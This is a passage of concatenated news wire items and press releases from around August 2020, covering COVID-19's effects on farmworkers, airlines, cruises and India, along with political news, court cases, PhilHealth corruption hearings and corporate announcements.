or paid sick leave. Almost every part of the process for picking tomatoes needs to be considered in light of COVID-19, says Ken Silver, an associate professor of environmental health at East Tennessee State University, who studies migrant worker health on Tennessee tomato farms. A number of farms across the country have already dealt with outbreaks, including farms in California, Washington, Florida and Michigan. The U.S. government, though, has yet to establish any enforceable rules to protect farmworkers from COVID-19 or instruct employers on how to proceed if their worker gets sick. Migrant worker advocacy groups say the lack of federal guidance causes employers to take advantage of their workers and disregard their risk of infection. Farms say they are doing what they can to protect workers with the resources at hand, while also harvesting the crops. President Donald Trump said that he wants to host the Group of Seven leading industrialised nations after the November presidential election and still wants to invite Russia, which was kicked out of the G-7 after it annexed Crimea. I'm much more inclined to do it sometime after the election, Trump told reporters at a White House briefing, adding that due to the coronavirus pandemic, the meeting could be held in person or via teleconference. He said he told his staff on Sunday that he'd rather have the summit after the election. He said that would give everyone more time to think about the important meeting. In June, the European Union joined a growing chorus of G-7 members insisting that Russia must not be allowed back into the fold. Trump, as host of this year's summit, is in charge of the guest list and has said he plans to invite Russia, Australia, South Korea and India. The G-7 members are Canada, France, Germany, Italy, Japan, the United Kingdom and the United States. The EU, comprising 27 nations, also takes part in the meeting. Russia was suspended in 2014 from what was then the G-8 following its invasion of Ukraine and annexation of Crimea. KOLKATA: Massive clashes erupted between two factions of Mamata Banerjee-led Trinamool Congress in Canning of South 24 Parganas district of West Bengal on Tuesday (August 11, 2020). According to initial reports, clashes first erupted at Madhukhali village of Canning and later spread to the Golabari area. Both sides hurled crude bombs at each other. Several members from both the factions have been injured. Police in huge numbers, including the Rapid Action Force (RAF), have been rushed to the spot. Tension prevails in the area after the clashes. Sources claimed that the clashes erupted between the two groups over which faction will rule or dominate the local areas. The pandemic caused by the new coronavirus has already spread to 224 countries with 334.656.351 infected. The disease is caused by a new virus that had not been detected in humans until a few months ago. In Niger the total number of positive cases is 8.413. Niger ranks 188 in countries with reported Covid-19 cases, the viral pneumonia that affects the planet. The list of the top ten is as follows: EE.UU. 68.385.419, India 37.896.011, Brazil 23.215.551, UK 15.399.300, France 14.739.297, Russia 10.865.512, Turkey 10.591.757, Italy 9.018.425, Spain 8.518.975 and Germany 8.140.341. In the last 24 hours, no deaths were reported and the number of fatalities remains at 293. So far, 1 pacient is in critical condition expecting to react positively. In contrast, it has been reported that 7.406 people have recovered in the country. The president Mahamadou Issoufou is closely monitoring the situation while the authorities continue to coordinate the actions of health personnel across the country. Recommendations to minimize the transmission of the infection can be found at the World Health Organization (WHO) Total infected New cases Total deaths Deaths in the last report Total recovered Total critical cases Niger 8.413 0 293 0 7.406 1 World 334.656.351 2.763.527 5.572.272 7.449 268.372.720 96.727 Yokohama India has begun production at the Bahadurgarh pant in Haryana after their second phase of expansion was completed. They have now doubled their manufacturing capacity to 1.6 million tyres per year. Yokohama India has begun commercial production at the Bahadurgarh plant in Haryana after the completion of second phase expansion, doubling the manufacturing capacity to 1.6 million tyres per year. The Japanese tyre maker began India operations in 2014 with an initial capacity of 0.7 million tyres per year. In response to the increasing demand for Yokohama tyres and keeping in mind the projected market growth, we decided to double our domestic manufacturing capacities, said Vice Chairman Anil Gupta.It has happened at an opportune time as restrictions on import of tyres have been announced by the government. The decision is in line with the governments clarion call for Atmanirbhar Bharat. From the drawing board to the dealer shops, the new phase two facility of Yokohama India is fully equipped to meet the market needs, he added.With the technological expertise from the parent company in Japan, Yokohama will now mass manufacture its extremely popular Geolandar A/T along with Geolandar SUV, BluEarth-RV02 at this modern facility. Several new offerings are also on the anvil to meet the changing needs of Indian motorists. Also read: Covid-19 impact on auto-industry: Maruti Suzuki reports net loss of Rs 249 crore in Q1 FY21 Also read: We cannot go on ignoring our informal sector: Rahul Gandhi in interaction with Mohommad Yunus The development also creates more job opportunities locally. The Bahadurgarh plant has over 500 employees. With increased production, we see the number going over 700, said Gupta. Globally, Yokohama supplies tyres to many renowned car manufacturers like Audi, Honda, Mercedes Benz, Mitsubishi, Nissan, Porsche, Suzuki and Toyota in addition to selling them in the replacement market. Also read: SC directs Centre to ensure doctors, healthcare workers receive salaries on time Out of all 535 members of Congress, only about 10% can be classified as solidly pro-American worker. Their immigration voting records prove their inexplicable indifference to American workers fates. Whether the immigration category is lawful permanent residents who arrive at the rate of more than 1 million annually, refugees, asylees and employment-based visa holders, all receive work authorization. Illegal immigrants caught and released at the border receive parole, a federal pardon that qualifies them for work permits which in turn allows them to remain in the U.S. and to be legally hired. Finally, illegal immigrants that successfully get past the border often enter the black-market economy, and are hired off the books. While some in Congress vote to slow certain immigration categories, only about 50, at most, are behind a broad-based immigration slowdown. Proof: in 2017, senators Tom Cotton, R-Arkansas, and David Perdue, R-Georgia, introduced the Raise Act that would have eliminated the unnecessary diversity visa, slowed refugee intake, limited chain migration to a petitioners nuclear family, and slowed legal immigration over the next decade by about 50%. The bills sole two co-sponsors were Cotton and Purdue, a pathetic testimonial to Congress cynical attitude toward U.S. workers. Congress has at least a half dozen ethnic caucuses that defend special interests. But nowhere in Congress is there a caucus that defends American workers. And because no such caucus exists, over decades, millions of U.S. jobs have been outsourced, and millions of U.S. workers have been displaced. During the last week in July in a brazen effort to promote the welfare of Indian nationals but to the detriment of U.S. tech workers futures Sen. Mike Lee, R-Utah, made another in a series of attempts to pass an outsourcing bill that would eliminate the cap restricting the number of green cards awarded to each country to 25,000. The House of Representatives and the Senate have powerful, influential India caucuses that speak with one voice on India-related issues. The Senate caucus dates back to 2004, and todays House caucus on India and Indian Americans was established in 1933, and is the largest congressional House country-specific caucus. Yet, to repeat, no single congressional caucus exists to defend Americans against what is a decades-long pattern of importing foreign labor and outsourcing U.S. jobs to overseas nations. Consistent with Capitol Hills disregard for the fate of U.S. workers, insiders report that nearly every Republican senator and the Department of Homeland Security support Lees proposal. And should Lees proposed legislation reach President Trumps desk, the same insiders predict that, because so many corporations that benefit from cheap labor also donate to the chief executives campaign, hell sign it into law. This is a complete disgrace for the candidate who promised to reform legal immigration to serve American workers and bring our jobs back home. Now that 30 million Americans are unemployed, the nation could sure use those jobs President Trump pledged to deliver. Trump has also joined with Congress in their mutual abandonment of E-Verify, the free, easy-to-use online system that confirms in a matter of seconds whether an employee is legally authorized to work in the U.S. Congress has kicked around E-Verify without mandating the program since 1996 when it was named the Basic Pilot program. Since 1997, E-Verify has been available to corporations nationwide. Yet the pro-donor, pro-cheap labor Congress refuses to implement E-Verify which would protect U.S. workers from the illegal hiring scourge. For a quarter of a century Congress has been vigorous in its support of the cheap labor lobby. Imagine instead if Congress had battled as steadfastly on Americans behalf. Then U.S. workers adjusted-for-inflation wages wouldnt have been flat for the same 25 years. Joe Guzzardi is a Progressives for Immigration Reform who has written about immigration for more than 30 years. Contact him at jguzzardi@pfirdc.org. SEATTLE, Aug. 11, 2020 /PRNewswire/ -- With the continuation of travel and port restrictions due to global health concerns, Holland America Line is extending its pause of cruise operations and cancelling departures on all ships through Dec. 15, 2020. The pause extension affects Caribbean, Mexico, Panama Canal, Pacific Coastal, South America, Antarctica, Hawaii, South Pacific, Australia and Asia itineraries. Guests Automatically Receive Bonus Future Cruise Credit Those with impacted cruises automatically will be cancelled, and no action is needed for guests opting for the Future Cruise Credit (FCC). All guests will receive an FCC per person as follows: Paid in Full : Those who had paid in full will receive 125% FCC of the base cruise fare paid to Holland America Line. : Those who had paid in full will receive 125% FCC of the base cruise fare paid to Holland America Line. Not Paid in Full: Those with bookings not paid in full will receive an FCC of double the amount of the deposit paid for the cruise. The minimum FCC is $100 and the maximum will be an amount up to the base cruise fare paid. The FCC is valid for 12 months from the date of issue and may be used to book sailings departing through Dec. 31, 2022. All other funds paid to Holland America Line may be transferred to a new booking or will automatically be refunded via the method of payment used to purchase the services. Full Refund Option Also Available Guests who prefer a 100% refund of monies paid to Holland America Line can visit the Cancellation Preferences form to indicate this preference no later than Sept. 15, 2020. The above options are not applicable to guests booked on a charter sailing. Other booking and cancellation conditions and policies may apply if the cruise was not booked through Holland America Line. See the terms and conditions in the Cancellation Preferences form for all details. Recognizing the vital role travel advisors play in the success of the cruise industry, Holland America Line will protect travel advisor commissions on bookings for cancelled cruises that were paid in full and for the total amount of the FCC when rebooked. As previously announced, Holland America Line paused global cruise operations and cancelled all Alaska, Europe and Canada/New England cruises for 2020; additional departures from the port of Vancouver, British Columbia, Canada, in 2020; and select Hawaii itineraries for early 2021. For more information about Holland America Line, consult a travel advisor, call 1-877-SAIL HAL (877-724-5425) or visit hollandamerica.com. Find Holland America Line on Twitter, Facebook and the Holland America Blog. Access all social media outlets via the home page at hollandamerica.com. About Holland America Line [a division of Carnival Corporation and plc (NYSE: CCL and CUK)] Holland America Line has been exploring the world since 1873 and was the first cruise line to offer adventures to Alaska and the Yukon more than 70 years ago. Its fleet of premium ships visits more than 470 ports in 98 countries around the world, offering an ideal mid-sized ship experience. A third Pinnacle-class ship, Rotterdam, is under construction and will join the fleet in July 2021. The leader in premium cruising, Holland America Line's ships feature innovative initiatives and a diverse range of enriching experiences focused on destination exploration and personalized travel. The best live music at sea fills each evening at Music Walk, and dining venues feature exclusive selections from Holland America Line's esteemed Culinary Council, comprising world-famous chefs. In light of COVID-19, Holland America Line is currently assessing enhanced health and safety protocols and how they may impact future cruises. Actual offerings may vary from what is displayed. Stay updated on current Travel Advisories and Health & Safety protocols. SOURCE Holland America Line Related Links http://www.hollandamerica.com PONTIAC (AP) An Oakland County judge who sent a 15-year-old girl to a juvenile detention facility for not doing her homework released the teen from probation on Tuesday, after an appeals court ordered her release. Oakland Circuit Judge Mary Ellen Brennan adopted a caseworkers recommendation that the case be terminated and that the girl, called Grace to protect her identity, continue receiving mental health treatment at home. The girl was placed on probation in April in a case involving allegations of assault and theft, and had been in Oakland Countys Childrens Village since May for violating that probation, according to ProPublica. Brennan said a Michigan Court of Appeals decision July 31 ordering Graces release from Childrens Village effectively tied the lower courts hands, The Detroit News reported. She said Grace appeared to be benefiting from the treatment she had received at the facility. No details of that treatment have been provided. This courts goal to place her (in Childrens Village) was to address delinquent behavior and improve life at home for her and her mother, Brennan said. Among the requirements of her probation, Grace was expected to complete her schoolwork. Grace, who has ADHD and receives special education services, struggled with the transition to online learning and fell behind. Brennan initially cited a failure to submit to any schoolwork and getting up for school for her decision to place the teen in juvenile detention. But the judge said at a July 20 hearing in Pontiac that Grace was placed in the juvenile facility because she was a threat to her mother and that police had been called out three times for confrontations between the two. Brennan had said the girl was a threat to the community based on an assault allegation involving her mother in November, according to court documents. The girl was also accused of stealing a cellphone from a fellow student at Birmingham Groves High School in Beverly Hills, northwest of Detroit. An attorney for Grace, Saima Khalil accused Brennan of callous conduct during the case. You have deprived my client access to mental health treatment that was available through her school and this court publicly lambasted the child during a court hearing. Court of Appeals: Release Grace from Childrens Village Judge not releasing Grace from Childrens Village for now, says shes a threat to mom but making progress CHAGRIN FALLS, Ohio -- We have all seen those seemingly fantastical photos posted on social media. Are they enhanced with photo editing software? Should you share them with friends, or scroll on by? If you have ever wondered if photos you see on social media are real or fake, a one-hour class starting at noon Friday, Aug. 21, can help you decide. Photographer Michael Weil will guide you to the truth. The online class is offered through Case Western Reserves Siegal Lifelong Learning Center and in collaboration with the Maltz Museum of Jewish Heritage. The cost is $10 -- or $5 if you are a member. Contact case.edu or 216-368-2091 for more information on this and additional course offerings, including several noted below. Light in Ancient Egypt: Join Meghan Strong, a CWRU associate professor and research associate with the Cleveland Museum of Natural History, from 6 to 7 p.m. Wednesday, Aug. 19, to explore making and using light sources in ancient Egypt. She will also cover the ancient significance of providing illumination in the afterlife in Egyptian culture. The cost of the online program is $10 through SLLC. 100 years of change: Explore 100 years of womens social movement activism from 7 to 8:30 p.m. Tuesday, Aug. 18, in an online class conducted by Heather Hurwitz. She will guide students through the role of activism from the passage of the 19th amendment, environmental concerns and the Occupy movement to the current Black Lives Matter movement. It is presented in collaboration with the League of Women Voters of Greater Cleveland. Wigs For Kids: You can double your contribution to the Wigs For Kids charity through August, thanks to several groups offering a dollar-for-dollar match up to $1,800. According to a press release issued by the organization, it has been impacted by the COVID-19 pandemic, while the need for its services has increased due to medical conditions such as Alopecia and chemotherapy and radiation therapies. Contact wigsforkids.org. Meet a gas giant: Continue your astronomy education at 7 p.m. Friday, Aug. 21, as an Observatory Park naturalist introduces you to the wonders of our solar system. Night-sky viewing is offered at the park Saturday, Aug. 22, by a park naturalist, as well as Saturday, Aug. 15, by members of the Chagrin Valley Astronomical Society. Contact geaugaparkdistrict.org for more information. Temple receives grants: Temple Emanu El has received a $10,995 grant for school safety from the Ohio Bureau of Workers Compensation. The grant will be used to install a new exit door in the sanctuary to ease leaving during an emergency evacuation. It will also enhance security locks on classroom doors and main doors throughout the facility to help faculty quickly lock doors when in lock-down mode. Last month, the organization was awarded a $99,998 Ohio Emergency Management Nonprofit Security grant to harden the physical site in Orange Village. The temple serves the Jewish Community in Greater Cleveland and counties including Geauga, Portage and Summit. Contact teecleve.org. Grant for racial justice: The Ohio State Bar Foundation is providing up to $500,000 in grants to support initiatives focused on long-lasting impact and institutional change targeting racism in the legal system. The new grant money will be awarded during the foundations fall grant cycle. The group hopes to support efforts by nonprofit groups collaborating with other organizations to address systemic racial inequities in the legal system. The deadline to apply during the first phase of the program is Aug. 17. Additional deadlines are Oct. 15, Jan. 15 and March 15, depending on the availability of funds. Contact osbf.org/racialjustice. Save the roller rink: Those who have fond memories of the Chagrin Valley Roller Rink are asked to help save it through a donation or purchase to help sustain it during the current pandemic. Contact chagrinvalleyrollerrink.square.site. To post your news and events contact Rusek at jcooperrusek@gmail.com. Read more from the Chagrin Solon Sun. Air Arabia, the first and largest low cost carrier in the Middle East and North Africa, registered a net loss of AED169 million ($46 million) for the first half ending June 30, a direct result of second quarter performance being heavily impacted by Covid-19 and the subsequent cancellation of scheduled flight operations. The companys turnover for the first six months of 2020 registered AED1.021 billion ($277.9 million), a drop of 53 per cent compared to AED2.173 billion ($591.5 million) in the corresponding period last year. Air Arabia served a total 2.48 million passengers from all its four hubs in the first half of 2020, a drop of 57 per cent compared to first half of 2019. The first half 2020 results were largely driven by the second quarter that witnessed the most severe impact of Covid-19 on airlines operation. Regular flight schedule was affected by airport closures and suspension of flights. Operations during the second quarter relied by large on repatriation, charter, and cargo flights. This resulted in lower revenues for the second quarter reaching AED120 million ($32.6 million) and consequently impacting the second quarter profitability to a net loss of AED239 million ($65 million). Air Arabia took early measures to control overall cost and enhance cash position despite the challenges. These include deferred cost and capital expenditure, workforce restructuring as well as cost rationalisation and efficiency, which all resulted in reducing overall cost and preserving liquidity. Sheikh Abdullah Bin Mohamed Al Thani, Chairman of Air Arabia, said: Air Arabia started the year 2020 with strong performance promising another year of growth and profitability. However, the unprecedent impact of Covid-19 left airlines worldwide battling the strongest challenge in its history. The full impact of Covid-19 on airline operations was fully materialised in the second quarter as a result of border closures and flights suspension across all key markets. This fact has led airlines to focus on controlling cost while supporting global relief efforts with repatriation and aid flights," he added. "Air Arabias robust business model allowed the management team to act fast and take necessary measures to control cost and enhance liquidity while operating a mix of commercial flights where possible. These early measures have resulted in preserving cash and limiting the net loss of the first half to acceptable levels, while still being able to mobilise people during this intricate time and support repatriation efforts," he said. The prospects of the global aviation industry remain strong and will continue to play a vital role in the global economic recovery. While we started to see gradual opening of selective markets around the world, it is now clear that Covid-19 will continue to have a lasting impact on the aviation industry and the path to recovery is expected to be gradual. At Air Arabia, while we remain in a strong position weathering the Covid-19 impact, we continue to look at this challenge with a long-term view keeping business continuity as the prime focus, Al Thani added. Air Arabia today operates a mix of scheduled, repatriation, charter, and cargo flights across its operating hubs in the UAE, Morocco, and Egypt. In July, Air Arabia Abu Dhabi, the capitals first low cost carrier, launched its operations from its base at Abu Dhabi International Airport. Air Arabia has also upgraded its customer experience journey to include all safety measures that are in line with the highest international safety measures. The carrier base airports have also upgraded its entire infrastructure to ensure airport journey remain one of the safest while flying. - TradeArabia News Service Share this article Whatsapp Facebook Twitter Linkedin Ghina Ghaliya and Ardila Syakriah (The Jakarta Post) Jakarta Tue, August 11, 2020 The Gerindra Party extraordinary congress has again appointed Prabowo Subianto as its chairman, making him a strong potential candidate for the 2024 presidential election, but experts believe more is needed for him to win. Prabowo, who ran against President Joko Jokowi Widodo in the 2014 and 2019 elections, has yet to declare that he will run again in 2024. However, some Gerindra executives have said that the current defense minister would consider the possibility if he garnered support from the party's cadres and the public. Prabowo in a speech at Saturdays congress did not publicly address the issue despite all party branch leaders having asked him to run again. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Metro Manila (CNN Philippines, August 11) The information technology system of PhilHealth lacks a validation mechanism, making it prone to connivance between hospitals and employees, an official from the Presidential Anti-Corruption Commission bared on Tuesday. The IT system na ginagamit ng PhilHealth ngayon has no validation mechanism kaya na-ma-ma-manipulate ng mga empleyado at ospital, PACC Commissioner Greco Belgica told senators during the second hearing on corruption and inefficiency allegations within PhilHealth. [Translation: The IT system being used by PhilHealth today has no validation mechanism that is why it can manipulated by employees and hospitals.] Dahil walang validation mechanism, bayad lang nang bayad ang PhilHealth ng parang tanga sa mga ospital, Belgica added. [Translation: Because of the lack of a validation mechanism, PhilHealth keeps on paying hospitals like a fool.] How it happens Belgica tackled at length how PhilHealth steals from the public coffers. The commissioner said health service providers would electronically submit their claims to PhilHealth's in-house IT and data center, which he branded as fragmented, with little to no transparency. Next, he said PhilHealth will make a random audit of the claims, which means not all of them are validated. The agency would then reimburse hospitals, even those which did not go through the vetting process and end up reimbursing even fraudulent claims. This is where connivance in the form of bribery and extortion between healthcare providers and PhilHealth officials and employees happen, Belgica said. The anti-corruption body official said P153.7 billion has been lost to fraud from 2013 to 2018. Slow and corrupt legal system The anti-corrupt body official also flagged the slow and corrupt legal system in PhilHealth. He said the corporation has failed to act on most cases against hospitals. Iniipit halos lahat ng kaso, Belgica claimed. Belgica said that PhilHealth has to urgently address the root causes of alleged corruption within their office which are the legal and IT systems. For his part, PhilHealth chief Ricardo Morales pointed out that fraud has always been with their system "as it has always been in all similar health systems in the world." He added that the problem is "systemic and cannot be solved" in one, or even three years. Improve IT and legal systems Belgica said the state-run health insurance company must add an external validation mechanism in their IT infrastructure. The agency must also simplify their legal process and continue to investigate fraudulent claims such as upcasing and file charges against those caught doing these acts. A facility can upcase' a mild disease by inventing a false claim for a more serious disease to get a higher reimbursement, officials have earlier explained. Belgica noted the PhilHealths current legal system is the reason why almost no case (has been) filed against erring hospitals. Several investigations launched The PACC is one of the presidential offices looking into alleged irregularities at PhilHealth. Belgica said their office is set to file cases against PhilHealth officials with the Ombudsman. He did not name those who will be charged. The commission will also continue to investigate corruption allegations in the corporation with the task force formed by President Rodrigo Duterte, he added. READ: Duterte orders task force to probe alleged PhilHealth anomalies Congress is also conducting its own probe, which started last week. A resigned officer and a concurrent official of PhilHealth have made serious corruption allegations against top executives of the agency during the Senate inquiry. Among the allegations is that its senior executives have stolen some 15 billion from the corporation using different fraudulent schemes. PhilHealth has refuted the accusation. Thirty-one years hasnt dimmed the pain for Michelle Ellinger. Nor has it erased the image of her mother, Phyllis Ann Morgan, lying in a pool of blood on the kitchen floor of her Harrisburg apartment on Jan. 12, 1989, dead from 17 stab wounds. So, when she took the witness stand in a Dauphin County courtroom Tuesday morning, Ellinger urged Judge Deborah E. Curcillo not to go easy when she resentenced her former friend, Johnny Miller, who was 17 when he killed her mom. Ellinger urged Curcillo to reimpose the life prison sentence Miller, now 49, had been serving until the U.S. Supreme Court banned such punishments for juvenile murderers. Curcillo did the next best thing. At the urging of District Attorney Fran Chardo, she resentenced Miller to 55 years to life in prison, 20 years longer than the minimum sentence recommended by the Pennsylvania Supreme Court. That means Miller, who told the judge he feels deep remorse and has done everything he can over the last three decades to reform and atone for the killing, wont become eligible for consideration for parole until he is 73. Chardo said the slaying of the 42-year-old Morgan was absolutely horrible, even by the gauge of first-degree murders. He said Miller stole the key to Morgans apartment from Ellinger, then laid in wait for Morgan, a cab driver, to come home so he could rob her. Miller killed Morgan at close quarters, stabbing her again and again, even after she fell to the floor, Chardo said. Then, Miller took Morgans earnings for the day and went shopping. Public Defender Andrea Haynes asked Curcillo to impose a sentence below the 35-year recommended minimum. She called an expert witness, Kathleen Gnall, a former deputy secretary for the state Department of Corrections who is now a criminal justice consultant, who said the odds that Miller would commit more crimes are low. Gnall said an abusive, neglected childhood and substance abuse led Miller to murder. She said he had his first alcoholic drink at age 3 and was using illegal drugs in elementary school. His first arrest came at age 15 when he was stealing to support his drug habit. Miller promptly changed after arriving in prison as a lifer, Gnall said. Mr. Miller, right off the bat felt great remorse, she said. He worked his way into substance abuse programs, earned his GED and certification in electronics and counseled other troubled inmates, she said. His behavior is exceptional, Gnall said. He has consistently tried to better himself. Yet, Chardo stressed that Miller told Gnall a story of how the murder occurred that is far different than the truth. Gnarr said Miller claimed he had fallen asleep in Morgans home, was startled when she arrived and stabbed her multiple times. Ellinger was 17 when she found her moms mutilated body. She told the judge its never gotten easier to deal with her mothers murder. She was the person I went to. She was my best friend. When I cried, she was the one who hugged me, Ellinger said. And that was taken from me. I cant even remember the sound of her voice anymore. And it breaks my heart, she said. I dont think he should ever be out, she said of Miller. I dont think he will ever not be a threat. People shouldnt have to die like that, said Nelson Powden II, Morgans brother. This was not a random assaultThis was a heinous, premeditated attack. Miller, a tall, thin man with a salt and pepper beard, spoke of his great shame when it was his turn to address Curcillo. He apologized to Morgans relatives. I was a troubled boy all those years ago, Miller said. Theres not a day when the remorse I have for my actions doesnt crush me. Im truly sorry from the bottom of my soul, he added. I want you to know Ive been trying my hardest to hopefully one day earn your forgiveness. For Curcillo, that wasnt enough to counterbalance the agony of Morgans family or those 17 stab wounds. I cant imagine the pain and suffering this family has been through, she said as she passed sentence. I just cant. The Mahabharat against Covid-19 has been lost. India had registered more cases last week, about three lakhs, than any other nation including the United States. We are clocking over 60,000 cases a day and there is nothing to stop the number from going to one lakh a day and higher. The only places in India that have registered a drop are the cities where the levels of infection are so widespread that half the city has already been touched, and the scope for increase is limited. Nothing is stopping the spread of Covid-19. It may interest readers to know that India is the only nation to show a consistently exponential trend of growth. Our graph from the beginning of March till today is one that goes straight up and steeply. This is not how other nations have responded. Europe saw peaks in March and then Italy, Spain, Britain and others have declined since then. America saw a peak in April, led mostly by the spread in New York, then a fall and now is seeing another rise in other parts of the country. Bangladesh saw a peak in June and has since been in decline. Pakistan was clocking half the number of cases as India but peaked in June and has been dropping since, averaging less than 1,000 cases a day now. Sri Lanka has been in total control of the epidemic and has only 300 active cases now, and a total of only 11 deaths since its first cases in March. India is the only nation, to repeat, that has consistently been going up in terms of number of cases from the start till now. This was not the result expected when the Centre took charge of the problem on March 24, when we had 500 cases. We have 30 times more cases each day today after various lockdowns, from total bans on all activity to a series of unlocks that nobody really understands any longer and almost nobody follows. Even the police, initially enthusiastic about stopping movement, has lost interest across the country in trying to combat the plague. The question is not whether we have lost the Covid Mahabharat because the numbers are clear. The question is why. The answer is that we never had a strategy to counter the pandemic. The first lockdown was the biggest mistake we made. What Prime Minister Narendra Modi should have told the country was that this was a highly infectious disease but with a very low fatality rate. People should be extremely cautious about not touching their face, washing their hands regularly and wearing a mask to protect others. They could go about their work and business otherwise. What he did instead was to create panic across the entire country. By calling it a Mahabharat and saying specifically we would win it in 21 days, he took the seriousness out of the fight against Covid-19. It would end after the lockdown is what he told us, and this was wrong. This was not a short and sharp battle that would be won or lost over three weeks, but a long one of vigilance rather than extreme measures. The three-week strict lockdown was described by an Oxford University study as the harshest in the world. The lockdown in India, along with that in Mauritius, New Zealand and South Africa, was rated 100, meaning individuals had no freedom. New Zealand peaked in March, Mauritius in April and South Africa in July. In India, it made no meaningful difference to the rate of spread. Not only that, it has comprehensively gutted the economy in a way that all of us can palpably feel at the level of each individual. All of us are suffering in a way that we have not before in our lives. Those who are not yet, will soon do so. This is a recession, a word whose meaning none of us is familiar with. The mismanagement of the lockdown has made India pay a real price, that it is still continuing to pay four months later. A report in the Hindu Frontline headlined Surat: Silence of the looms said 35 lakh migrants in the Surat area had gone back home after suffering great deprivation. There was nobody to operate the machines and even markets that were open would be shut down when one positive case was discovered. There was no plan to move forward and things were happening by default. If the workers return, and if the demand for fabrics returns, then the great manufacturing city of Surat would try to stand again on its feet. Till then, things will continue the way they were. This level of incompetence is not to be found in any other nation that has been hit by Covid-19. The truth is that Narendra Modi is attracted to the grand announcement. He likes the spotlight and the energy of the moment. Covid-19 was a struggle not of brief violence, an 18-day war like the Mahabharat, but a long one of carefulness and patience. Other nations knew it and their leaders communicated it in that fashion. Mr Modis style has left us with 20 lakh cases and over 40,000 deaths, and who knows how many more to come. The peak is nowhere in sight. And it has absolutely ruined an economy that was already tottering last year. The writer is a senior journalist and columnist PRESCOTT, Ariz. A Cottonwood man has been sentenced to 1 years in an Arizona prison after pleading guilty to two counts of impersonating a peace officer. Prosecutors said 59-year-old David Michael Getzen called the Yavapai County jail last October claiming to be an FBI agent. In the call, Getzen said the detention facility needed to surrender two sheriffs deputies, authorities said. Getzen also was accused of threatening to shoot two county Superior Court judges plus the sheriff and county attorney if the jail didnt release the individuals. In another call, authorities said Getzen claimed he had a warrant for the arrest of a deputy county sheriff. Detectives identified Getzen as the caller and he was arrested the next day. Tripp Moore Departs Patriot Bank to Join the Expansion Initiative GREENWICH, Conn., Aug. 11, 2020 (GLOBE NEWSWIRE) -- Fieldpoint Private, the fast-growing wealth advisory and private banking boutique serving families and institutions, announced that Earl Tripp Moore has joined the firms Greenwich, Connecticut, headquarters as a Commercial Banker. The addition is part of a larger strategic expansion of private commercial banking services at the firm. Mr. Moore joined from Stamford, Connecticut-based Patriot Bank, where he was a Commercial Banking Team Leader. He is Fieldpoints fourth commercial banker, and his move marks the firms growing focus on wealth creators and their businesses. Commercial banking has been around as long as banking itself, said Timothy Tully, Fieldpoint Privates Chairman, President and CEO. What we are creating is different. It is private commercial banking, where the clients business and wealth are treated as parts of a larger whole, with resources and professionals brought to bear on all of it, in concert, with a unified philosophy. H. Russell Holland, who in July was named President and CEO of Fieldpoints banking unit, said that Mr. Moore will be joined by additional commercial bankers over the coming weeks and months, providing the firms advisors with expert banking partners in each of its markets. Today those include Greenwich and New York City, along with a growing presence in markets in the Southeast. Mr. Holland added that they will be paired with commercial and personal banking associates in each of the offices, who will also work with clients and support the firms advisors across each clients banking needs. Commercial banking isnt simply transactions, it is wealth creation, and it is strategic to our clients and their families, he said. This initiative will deliver to clients a true private banking experience for their businesses, and I believe it will give our advisors the most integrated banking support system in the industry. Story continues Mr. Moores 20-year financial services career includes commercial banking roles with First County Bank and Connecticut Community Bank, as well as time with Northern Trust and Morgan Stanley. I began my career as a financial advisor and private banker, so I have long understood the entrepreneur, the enterprise and the family to be parts of the same picture. At Fieldpoint I can function as part of a team to deliver all of the advice and resources that that requires, Mr. Moore said. I appreciate how important this is to Fieldpoint Private, and I cant imagine a better fit for my approach. About Fieldpoint Private Headquartered in Greenwich, Connecticut, Fieldpoint Private ( www.fieldpointprivate.com ) is a boutique financial firm providing the highest degree of personalized, confidential wealth planning and private banking services. Catering to highly successful individuals, families, businesses and institutions, Fieldpoint Private offers a powerful combination of wealth management and strategy, family office, private banking and business banking services addressing every financial need for each of our clients including: wealth transfer advice, tax planning, aggregation and performance reporting, risk management, goals-based investing strategies, sophisticated investment selection, discreet and personalized banking, highly customized credit solutions, custom custody and trust solutions, highly attentive/responsive service and concierge services. Fieldpoint Private was established in 2008 by 31 Founders with a specific vision and purpose. These extraordinary leaders of industry and community recognized the opportunity to create a financial firm totally attuned to peoples individual circumstances. Our firm is built on a philosophy of exclusive membership and client-centricity. Working with a limited number of relationships gives every person the experience of belonging to an extremely selective group. The result is a new breed of institution established on the basis of personalization, responsiveness, and exclusivity, and an ensured commitment to impeccable service and consistently flawless execution. Our service approach offers a unique client experience custom crafted to each clients financial needs. Banking Services: Fieldpoint Private Bank & Trust Registered Investment Advisors: Fieldpoint Private Securities, LLC, is a SEC Registered Investment Advisor and Broker Dealer. Member FINRA, SIPC. Media Contact: Michael White Chief Marketing Officer Fieldpoint Private 203.413.9340 CONTACT: mwhite@fieldpointprivate.com WASHINGTON (dpa-AFX) - PPG (PPG) said, due to the stronger sales performance in July, the company now expects third quarter sales volumes to be down 6% to 11% year-on-year, excluding foreign currency translation, compared to the previously expected year-over-year decrease of 8% to 15%. The company now expects third quarter operating margin decrements to be between 10% to 15%. 'Led by improving demand trends in our Chinese and European businesses across a variety of coatings end-use markets and in global industrial production, our July sales increased sequentially from the month of June and were down 7% compared to the prior year.' said Michael McGarry, PPG CEO. Shares of PPG were up nearly 3% in pre-market trade on Tuesday. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. The Railways has decided to hold off the resumption of local train services in the city for the general public, even as other restrictions imposed during the lockdown are being lifted gradually. A Press Information Bureau (PIB) release issued on Tuesday states that passenger trains along with local trains will continue to remain suspended till further notice. Regular passenger and suburban train services will continue to remain suspended until further notice. It may be noted that 230 special trains, which are running at present, will continue to operate. Local trains in Mumbai, which are presently running on a limited basis, only on the requisition of the state government, will also continue to run. Additional special trains may be run based on the requirement, mentions the release. The Central Railway (CR) and Western Railway (WR) operated more than 3,000 local train services daily on the suburban railway route before the lockdown was imposed. Currently, CR and WR run a total of 700 daily services only for essential service providers. Passengers have started demanding the 